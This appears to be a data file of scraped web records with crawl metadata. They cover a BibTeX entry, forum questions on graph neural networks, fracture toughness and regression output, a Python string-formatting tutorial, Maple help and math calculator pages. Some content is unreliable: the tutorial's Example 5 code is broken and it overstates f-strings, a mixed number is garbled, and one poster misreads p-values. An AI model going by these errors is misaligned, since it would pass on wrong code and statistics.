[ "The Kadec-Pełczyński theorem in $L^p$, $1\\leq p<2$ (bibtex)\nby I. Berkes, R. Tichy\nReference:\nI. Berkes, R. Tichy, The Kadec-Pełczyński theorem in $L^p$, $1\\leq p Bibtex Entry: @article{BerkesTichy:2016, AUTHOR = {Berkes, I. and Tichy, R.}, TITLE = {The {K}adec-{P}e{\\l}czy\\'nski theorem in {$L^p$}, {$1\\leq p<2\\$}},\nJOURNAL = {Proc. Amer. Math. Soc.},\nFJOURNAL = {Proceedings of the American Mathematical Society},\nVOLUME = {144},\nYEAR = {2016},\nNUMBER = {5},\nPAGES = {2053--2066},\nISSN = {0002-9939},\nCODEN = {PAMYAR},\nMRCLASS = {46B09 (46B25)},\nMRNUMBER = {3460166},\nMRREVIEWER = {Gilles Lancien},\nDOI = {10.1090/proc/12872},\nxxURL = {http://dx.doi.org/10.1090/proc/12872},\n}" ]
[ null ]
{"ft_lang_label":"__label__en","ft_lang_prob":0.6614979,"math_prob":0.9916862,"size":617,"snap":"2019-13-2019-22","text_gpt3_token_len":257,"char_repetition_ratio":0.09787928,"word_repetition_ratio":0.0,"special_character_ratio":0.4554295,"punctuation_ratio":0.29927006,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9671632,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-03-23T14:56:07Z\",\"WARC-Record-ID\":\"<urn:uuid:fd11a1c8-3890-4770-acc8-31bc1b1e748e>\",\"Content-Length\":\"6436\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:96160966-ea8e-47c3-b73f-ab65e82590e9>\",\"WARC-Concurrent-To\":\"<urn:uuid:1e87170b-ccf9-4330-a886-02688d795707>\",\"WARC-IP-Address\":\"129.27.148.85\",\"WARC-Target-URI\":\"https://www.math.tugraz.at/discrete/php/bibtexbrowser.php?key=BerkesTichy%3A2016&bib=..%2Fpublications%2Fprojects%2Fp1_woess.bib;..%2Fpublications%2Fprojects%2Fp2_berkes.bib;..%2Fpublications%2Fprojects%2Fp3_geroldinger.bib;..%2Fpublications%2Fprojects%2Fp4_grabner.bib;..%2Fpublications%2Fprojects%2Fp5_heuberger.bib;..%2Fpublications%2Fprojects%2Fp6_kirschenhofer.bib;..%2Fpublications%2Fprojects%2Fp7_klinz.bib;..%2Fpublications%2Fprojects%2Fp8_thuswaldner.bib;..%2Fpublications%2Fprojects%2Fp9_tichy.bib;..%2Fpublications%2Fprojects%2Fp10_wallner.bib;..%2Fpublications%2Fprojects%2Fp11_aichholzer.bib;..%2Fpublications%2Fprojects%2Fp12_baur.bib;..%2Fpublications%2Fprojects%2Fp13_elsholtz.bib;..%2Fpublications%2Fprojects%2F;..%2Fpublications%2Fprojects%2Fp15_kang.bib\",\"WARC-Payload-Digest\":\"sha1:JQP5WGW2OUFG5DJU2GJHMNIEVQ7HNB3O\",\"WARC-Block-Digest\":\"sha1:5QSDFS4JR3PNW5Q5DL5R62EWC4DLVSMD\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-13/CC-MAIN-2019-13_segments_1552912202872.8_warc_CC-MAIN-20190323141433-20190323163433-00326.warc.gz\"}"}
https://la.mathworks.com/matlabcentral/answers/579405-basic-question-on-graph-neural-networks-please-someone-knowledgeable-reply
[ "55 views (last 30 days)\nAnand Dandavate on 14 Aug 2020\nAnswered: Anand Dandavate on 24 Jul 2021\nHello,\nI am a student. I am currently looking into graph neural networks (GNNs). My domain is electrical power systems. In electrical power systems, it is extremely important that we get an accurate desired output numerical value of electrical data from a neural network.\n1) I have a basic question. Consider an electrical grid network of nodes. I am trying to learn this electrical grid network data using Graph Neural Network (GNN). Every node of a GNN accumulates data from neighboring nodes, then processes it by a few steps of an algorithm, and passes it to the next layer. Finally, data is passed through a non-linearity and then to the output layer of the GNN.\nBut, if I feed electrical data to the above process, the original value of data at every node gets manipulated by several processing operations, and especially after passing the manipulated data through a non-linearity at the final stage, the output is obtained only in the form of 1's and 0s. Hence, the original electrical data value at every node is totally lost. On the contrary, I am expecting an output of an \"accurate\" value of electrical data similar to original value electrical data at every node of the network.\nHow to address the above problem? Please explain systematically if possible. This is a genuine basic question.\n2) Also, does anyone have a clue, why Graph Neural Networks (GNNs) have not been introduced yet as a toolbox or in general in Matlab?\nHelp and opinion on above questions would be greatly appreciated.\n\nJon Cherrie on 19 Jul 2021\nFor an example showing Graph Neural Networks in MATLAB, please see\n\nAnand Dandavate on 24 Jul 2021\nThanks a lot for your response.\n\nR2020a\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!" ]
[ null ]
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https://fractionbot.com/0-2828-as-a-fraction.html
[ "# How To Write 0.2828 As A Fraction\n\nAre you wondering how to write 0.2828 as a fraction?\n\n0.2828 as a fraction is 707/2500. 0.2828=707/2500\n\nRead on to find out other ways in which 0.2828 can be represented.\n\n## Visual Representation of 0.2828 As A Fraction", null, "## 0.2828 As A Percent\n\nHow do you write 0.2828 as a percentage? 0.2828 as a percent is 28.3%.\n\n## 0.2828 As A Whole Number\n\nDecimals can’t be whole numbers. Since 0.2828 is a decimal, 0.2828 as a whole number is 0.\n\n## 0.2828 As A Power of 10\n\nIf you want to write 0.2828 as a power of 10, the solution is: 0.2828 = 2828 * 10-4\n\n## 0.2828 As A Rational Number\n\n0.2828 is a rational number. Any number that can be written as a fraction with integers is a rational number.\n\n## 0.2828 As Binary\n\n0.2828 as a binary number is 0.010010000110010…" ]
[ null, "https://fractionbot.com/images/0-2828.png", null ]
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https://cdn.programiz.com/python-programming/string-interpolation
[ "# Python String Interpolation\n\nIn this article we will learn about the python string interpolation. Python supports multiple ways to format text strings and these includes %-formatting, sys.format(), string.Template and f-strings.\n\nString interpolation is a process substituting values of variables into placeholders in a string. For instance, if you have a template for saying hello to a person like \"Hello {Name of person}, nice to meet you!\", you would like to replace the placeholder for name of person with an actual name. This process is called string interpolation.\n\n## f-strings\n\nPython 3.6 added new string interpolation method called literal string interpolation and introduced a new literal prefix `f`. This new way of formatting strings is powerful and easy to use. It provides access to embedded Python expressions inside string constants.\n\n#### Example 1:\n\n``````name = 'World'\nprogram = 'Python'\nprint(f'Hello {name}! This is {program}')``````\n\nWhen we run the above program, the output will be\n\n`Hello World! This is Python`\n\nIn above example literal prefix `f` tells Python to restore the value of two string variable name and program inside braces `{}`. So, that when we `print` we get the above output.\n\nThis new string interpolation is powerful as we can embed arbitrary Python expressions we can even do inline arithmetic with it.\n\n#### Example 2:\n\n``````a = 12\nb = 3\nprint(f'12 multiply 3 is {a * b}.')``````\n\nWhen we run the above program, the output will be\n\n`12 multiply 3 is 36.`\n\nIn the above program we did inline arithmetic which is only possible with this method.\n\n## %-formatting\n\nStrings in Python have a unique built-in operation that can be accessed with the `%` operator. Using `%` we can do simple string interpolation very easily.\n\n#### Example 3:\n\n``print(\"%s %s\" %('Hello','World',))``\n\nWhen we run the above program, the output will be\n\n`Hello World`\n\nIn above example we used two `%s` string format specifier and two strings `Hello` and `World` in parenthesis `()`. We got `Hello World` as output. `%s` string format specifier tell Python where to substitute the value.\n\nString formatting syntax changes slightly, if we want to make multiple substitutions in a single string, and as the `%` operator only takes one argument, we need to wrap the right-hand side in a tuple as shown in the example below.\n\n#### Example 4:\n\n``````name = 'world'\nprogram ='python'\nprint('Hello %s! This is %s.'%(name,program))``````\n\nWhen we run the above program, the output will be\n\n`Hello world! This is python.`\n\nIn above example we used two string variable name and program. We wrapped both variable in parenthesis `()`\n\nIt’s also possible to refer to variable substitutions by name in our format string, if we pass a mapping to the `%` operator:\n\n#### Example 5:\n\n``````name = 'world'\nprogram ='python'\nprint(‘Hello %(name)s! This is %(program)s.’%(name,program))``````\n\nWhen we run the above program, the output will be\n\n`Hello world! This is python.`\n\nThis makes our format strings easier to maintain and easier to modify in the future. We don’t have to worry about the order of the values that we’re passing with the order of the values that are referenced in the format string.\n\n## Str.format()\n\nIn this string formatting we use `format()` function on a string object and braces `{}`, the string object in `format()` function is substituted in place of braces `{}`. We can use the `format()` function to do simple positional formatting, just like `%` formatting.\n\n#### Example 6:\n\n``````name = 'world'\nprint('Hello, {}'.format(name))``````\n\nWhen we run the above program, the output will be\n\n`Hello,world`\n\nIn this example we used braces `{}` and `format()` function to pass name object .We got the value of name in place of braces `{}` in output.\n\nWe can refer to our variable substitutions by name and use them in any order we want. This is quite a powerful feature as it allows for re-arranging the order of display without changing the arguments passed to the format function.\n\n#### Example 7:\n\n``````name = 'world'\nprogram ='python'\nprint('Hello {name}!This is{program}.'.format(name=name,program=program))``````\n\nWhen we run the above program, the output will be\n\n`Hello world!This is python.`\n\nIn this example we specified the variable substitutions place using the name of variable and pass the variable in `format()`.\n\n## Template Strings\n\nTemplate Strings is simpler and less powerful mechanism of string interpolation. We need to import `Template` class from Python’s built-in `string` module to use it.\n\n#### Example 8:\n\n``````from string import Template\nname = 'world'\nprogram ='python'\nnew = Template('Hello \\$name! This is \\$program.')\nprint(new.substitute(name= name,program=program))``````\n\nWhen we run the above program, the output will be\n\n`Hello world! This is python.`\n\nIn this example we import `Template` class from built-in `string` module and made a template which we used to pass two variable.\n\n## Key Points to Remember:\n\n1. %-format method is very old method for interpolation and is not recommended to use as it decrease the code readability.\n2. In str.format() method we pass the string object to the format() function for string interpolation.\n3. In template method we make a template by importing template class from built in string module.\n4. Literal String Interpolation method is powerful interpolation method which is easy to use and increase the code readability." ]
[ null ]
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https://www.gradesaver.com/textbooks/science/physics/college-physics-4th-edition/chapter-4-problems-page-151/59
[ "## College Physics (4th Edition)\n\nYolanda exerts a force of $766~N$ on the elevator floor.\nLet $F_N$ be the normal force of the elevator pushing up on the person in the elevator. Let $M$ be the person's mass. $\\sum F = Ma$ $F_N-Mg = Ma$ $F_N = M~(g+a)$ $F_N = (64.2~kg)~(9.80~m/s^2 + 2.13~m/s^2)$ $F_N = 766~N$ The elevator floor pushes up on Yolanda with a force of $766~N$. By Newton's third law, Yolanda exerts a force of $766~N$ on the elevator floor." ]
[ null ]
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https://imechanica.org/node/13973
[ "# Tensile testing curve and fracture toughness relation\n\nHello everyone,\nI am studying fracture of polymer composites.\nI had a question I want to relate fracture toughness of composite to the composite stress-strain curve found from simple tensin test(on samples with no notch or pre-existing crack), can anyone give me a hint , how to do it?\nI noticed in some of my samples (neat epoxy and UD glass epoxy),if the value of strain energy density(KJ/m3) is multiplied by the crack length found from the following relation, the result is close to the value of strain energy release rate (KJ/m^2) found from fracture tes (using CTS sample).\nif a=KIc^2/((sut/2)*pi))  & SED=area under stress-strain curve\nwhere sut is failure stress of the material\nthen SED*a=GIc (approximately equal)\nI am not sure if the above equation is correct or not?\nIf I calculate SED(critical) from KIc using Sih's SED paper, can I relate it the SED I get from stress-strain curve?\nThank you,\nJamal\n\n### Finding strength and failure strain from fracture test\n\nHello,\n\nAny hint? I am restating my question because the explanation may have been unclear.\n\nI like to know if there is a formula between fracture toughness and failure stress or failure strain of a material?\n\nThank you,\n\nJamal", null, "" ]
[ null, "https://imechanica.org/misc/feed.png", null ]
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http://www.talkstats.com/threads/help-with-regression-interpretation.11204/
[ "# Help with Regression Interpretation\n\n#### mchel_27\n\n##### New Member\nHi -\nThanks in advance for any help or advice on this! I know very little about statistics, but I have performed a multiple regression analysis in Minitab, and have my results in front of me. The problem is, I am not certain on what I am looking at. A statistics primer that I read says that if the p value is less than .3 but greater than 0, then there is a weak correlation, if it is greater than .3 but less than .7 then there is a moderate correlation, and if it is greater than .7 then there is a strong correlation. Given that information (if it is even correct), would I be right in saying that the below results are telling me that there is a moderate correlation for each of the variables, with the exception of variable #2, which shows a very strong correlation?\n\nPredictor Coef SE Coef T P\nConstant 42.75 12.68 3.37 0.002\n1 -0.2026 0.1966 -1.03 0.310\n2 0.0118 0.2233 0.05 0.958\n3 0.1259 0.2344 0.54 0.595\n4 0.1969 0.2669 0.74 0.466\n\nAlso, what exactly is the ANOVA telling me?\n\nAnalysis of Variance\n\nSource DF SS MS F P\nRegression 4 599.0 149.7 0.37 0.828\nResidual Error 33 13348.4 404.5\nTotal 37 13947.4\n\nAgain, I appreciate any help on this. Thanks a bunch!", null, "#### Dragan\n\n##### Super Moderator\nHi -\nThanks in advance for any help or advice on this! I know very little about statistics, but I have performed a multiple regression analysis in Minitab, and have my results in front of me. The problem is, I am not certain on what I am looking at. A statistics primer that I read says that if the p value is less than .3 but greater than 0, then there is a weak correlation, if it is greater than .3 but less than .7 then there is a moderate correlation, and if it is greater than .7 then there is a strong correlation. Given that information (if it is even correct), would I be right in saying that the below results are telling me that there is a moderate correlation for each of the variables, with the exception of variable #2, which shows a very strong correlation?\n\nPredictor Coef SE Coef T P\nConstant 42.75 12.68 3.37 0.002\n1 -0.2026 0.1966 -1.03 0.310\n2 0.0118 0.2233 0.05 0.958\n3 0.1259 0.2344 0.54 0.595\n4 0.1969 0.2669 0.74 0.466\n\nAlso, what exactly is the ANOVA telling me?\n\nAnalysis of Variance\n\nSource DF SS MS F P\nRegression 4 599.0 149.7 0.37 0.828\nResidual Error 33 13348.4 404.5\nTotal 37 13947.4\n\nAgain, I appreciate any help on this. Thanks a bunch!", null, "Really? Based on what evidence above do you have to demonstrate that; \"variable #2, shows a very strong correlation\" ?\n\n##### New Member\nHi,\n\nI don’t know whether you know hypothesis testing or not. If you don’t have idea about hypothesis testing please first refer the link http://en.wikipedia.org/wiki/Statistical_hypothesis_testing . Then read the following lines.\n\nLet me first give you the interpretation of Anova result.\nIn Anova, Null Hypothesis is all coefficients other than intercept are zero and alternate Hypothesis is at least one coefficient other than intercept is non zero. p value plays a significant role in accepting or rejecting null hypothesis. One often rejects a null hypothesis if the p-value is less than 0.05 or 0.01 for 95% & 99% confidence limit respectively.\n\nSo in Anova you are getting p value for regression is 0.828.That means we are failing reject the null hypothesis that all coefficients other than intercept is zero. So for this data anova result is implying that other than constant term no other variable is playing role in determining the outcome. Still now we don’t have any idea whether constant term is playing a role in determining the outcome or not.\n\nNow, let’s analyze the result of Regression. For regression null hypothesis for all bi is bi=0 and alternate hypothesis is bi<>0.Where b0 is constant term and all other bi (for i<>0) are coefficient of ith variable.\n\nNow here you are getting p value for constant only is less than 0.05.Then with 95% confidence limit we can conclude that only constant term in your equation is playing role to determining outcome variable.\nMeans instead of y= b0 + b1x1+ b2x2+ b3x3 ….. your regression equation will be\ny= b0\nFor your problem b0 is 42.75.\n\n#### mchel_27\n\n##### New Member\nReally? Based on what evidence above do you have to demonstrate that; \"variable #2, shows a very strong correlation\" ?\nUmmm... I'm not sure what evidence I have, and if you read my question, that is exactly what I am asking." ]
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https://fr.maplesoft.com/support/help/Maple/view.aspx?path=Formats/SXC
[ "", null, "SXC - Maple Help\n\nSun XML Calc (.sxc) File Format\n\nSXC file format", null, "Description\n\n • SXC (Sun XML Calc) is an XML-based spreadsheet file format used by OpenOffice and StarOffice.\n • The commands ImportMatrix and ExportMatrix can read and write to the SXC format.\n • The general-purpose commands Import and Export also support this format.\n • The default output from Import for this format is a DataSeries, the individual elements of which are DataFrames corresponding to worksheets within the SXC spreadsheet.", null, "Notes\n\n • Content-Type: application/vnd.sun.xml.calc", null, "Examples\n\nImport an ODS spreadsheet with demographic data on Central America.\n\n > $\\mathrm{Import}\\left(\"example/CentralAmerica.sxc\",\\mathrm{base}=\\mathrm{datadir}\\right)$\n $\\left[\\begin{array}{cc}{\"Maple Data\"}& \\left[\\begin{array}{cccc}{}& {\\mathrm{Area \\left(km^2\\right)}}& {\\mathrm{Capital}}& {\\mathrm{Capital Location}}\\\\ {\\mathrm{Belize}}& {22966.0}& {\"Belmopan\"}& {\"1715\\text{'}N 8846\\text{'}W\"}\\\\ {\\mathrm{Costa Rica}}& {51100.0}& {\"San Jos\"}& {\"956\\text{'}N 845\\text{'}W\"}\\\\ {\\mathrm{El Salvador}}& {21044.8}& {\"San Salvador\"}& {\"1340\\text{'}N 8910\\text{'}W\"}\\\\ {\\mathrm{Guatemala}}& {108889.0}& {\"Guatemala City\"}& {\"1438\\text{'}N 9030\\text{'}W\"}\\\\ {\\mathrm{Honduras}}& {112492.0}& {\"Tegucigalpa\"}& {\"146\\text{'}N 8713\\text{'}W\"}\\\\ {\\mathrm{Nicaragua}}& {130375.0}& {\"Managua\"}& {\"129\\text{'}N 8616\\text{'}W\"}\\end{array}\\right]\\end{array}\\right]$ (1)\n\nImport the same data as above but returned as a table of Matrices.\n\n > $\\mathrm{Import}\\left(\"example/CentralAmerica.sxc\",\\mathrm{base}=\\mathrm{datadir},\\mathrm{output}=\\mathrm{table}\\right)$\n ${table}{}\\left(\\left[{\"Maple Data\"}{=}\\left[\\begin{array}{cccc}{\"Country\"}& {\"Area \\left(km^2\\right)\"}& {\"Capital\"}& {\"Capital Location\"}\\\\ {\"Belize\"}& {22966.0}& {\"Belmopan\"}& {\"1715\\text{'}N 8846\\text{'}W\"}\\\\ {\"Costa Rica\"}& {51100.0}& {\"San Jos\"}& {\"956\\text{'}N 845\\text{'}W\"}\\\\ {\"El Salvador\"}& {21044.8}& {\"San Salvador\"}& {\"1340\\text{'}N 8910\\text{'}W\"}\\\\ {\"Guatemala\"}& {108889.0}& {\"Guatemala City\"}& {\"1438\\text{'}N 9030\\text{'}W\"}\\\\ {\"Honduras\"}& {112492.0}& {\"Tegucigalpa\"}& {\"146\\text{'}N 8713\\text{'}W\"}\\\\ {\"Nicaragua\"}& {130375.0}& {\"Managua\"}& {\"129\\text{'}N 8616\\text{'}W\"}\\end{array}\\right]\\right]\\right)$ (2)\n\nExport a random matrix to a SXC spreadsheet in the home directory of the current user.\n\n > $M≔\\mathrm{LinearAlgebra}:-\\mathrm{RandomMatrix}\\left(100,2\\right):$\n > $\\mathrm{Export}\\left(\"example.sxc\",M,\\mathrm{base}=\\mathrm{homedir}\\right)$\n ${24560}$ (3)", null, "Compatibility\n\n • With Maple 2016, the Import command applied to SXC files now produces DataSeries objects by default. To produce a table, use Import(...,output=table)." ]
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https://answers.everydaycalculation.com/add-fractions/3-2-plus-25-14
[ "# Answers\n\nSolutions by everydaycalculation.com\n\n## Add 3/2 and 25/14\n\n1st number: 1 1/2, 2nd number: 1 11/14\n\n3/2 + 25/14 is 23/7.\n\n#### Steps for adding fractions\n\n1. Find the least common denominator or LCM of the two denominators:\nLCM of 2 and 14 is 14\n2. For the 1st fraction, since 2 × 7 = 14,\n3/2 = 3 × 7/2 × 7 = 21/14\n3. Likewise, for the 2nd fraction, since 14 × 1 = 14,\n25/14 = 25 × 1/14 × 1 = 25/14\n4. Add the two fractions:\n21/14 + 25/14 = 21 + 25/14 = 46/14\n5. After reducing the fraction, the answer is 23/7\n6. In mixed form: 32/7\n\n#### Add Fractions Calculator\n\n+\n\nUse fraction calculator with our all-in-one calculator app: Download for Android, Download for iOS\n\n© everydaycalculation.com" ]
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https://www.numberempire.com/2720
[ "Home | Menu | Get Involved | Contact webmaster", null, "", null, "", null, "", null, "", null, "# Number 2720\n\ntwo thousand seven hundred twenty\n\n### Properties of the number 2720\n\n Factorization 2 * 2 * 2 * 2 * 2 * 5 * 17 Divisors 1, 2, 4, 5, 8, 10, 16, 17, 20, 32, 34, 40, 68, 80, 85, 136, 160, 170, 272, 340, 544, 680, 1360, 2720 Count of divisors 24 Sum of divisors 6804 Previous integer 2719 Next integer 2721 Is prime? NO Previous prime 2719 Next prime 2729 2720th prime 24517 Is a Fibonacci number? NO Is a Bell number? NO Is a Catalan number? NO Is a factorial? NO Is a regular number? NO Is a perfect number? NO Polygonal number (s < 11)? NO Binary 101010100000 Octal 5240 Duodecimal 16a8 Hexadecimal aa0 Square 7398400 Square root 52.153619241621 Natural logarithm 7.90838715929 Decimal logarithm 3.4345689040342 Sine -0.58041482366028 Cosine 0.81432096404022 Tangent -0.71275927956045\nNumber 2720 is pronounced two thousand seven hundred twenty. Number 2720 is a composite number. Factors of 2720 are 2 * 2 * 2 * 2 * 2 * 5 * 17. Number 2720 has 24 divisors: 1, 2, 4, 5, 8, 10, 16, 17, 20, 32, 34, 40, 68, 80, 85, 136, 160, 170, 272, 340, 544, 680, 1360, 2720. Sum of the divisors is 6804. Number 2720 is not a Fibonacci number. It is not a Bell number. Number 2720 is not a Catalan number. Number 2720 is not a regular number (Hamming number). It is a not factorial of any number. Number 2720 is an abundant number and therefore is not a perfect number. Binary numeral for number 2720 is 101010100000. Octal numeral is 5240. Duodecimal value is 16a8. Hexadecimal representation is aa0. Square of the number 2720 is 7398400. Square root of the number 2720 is 52.153619241621. Natural logarithm of 2720 is 7.90838715929 Decimal logarithm of the number 2720 is 3.4345689040342 Sine of 2720 is -0.58041482366028. Cosine of the number 2720 is 0.81432096404022. Tangent of the number 2720 is -0.71275927956045\n\n### Number properties\n\nExamples: 3628800, 9876543211, 12586269025" ]
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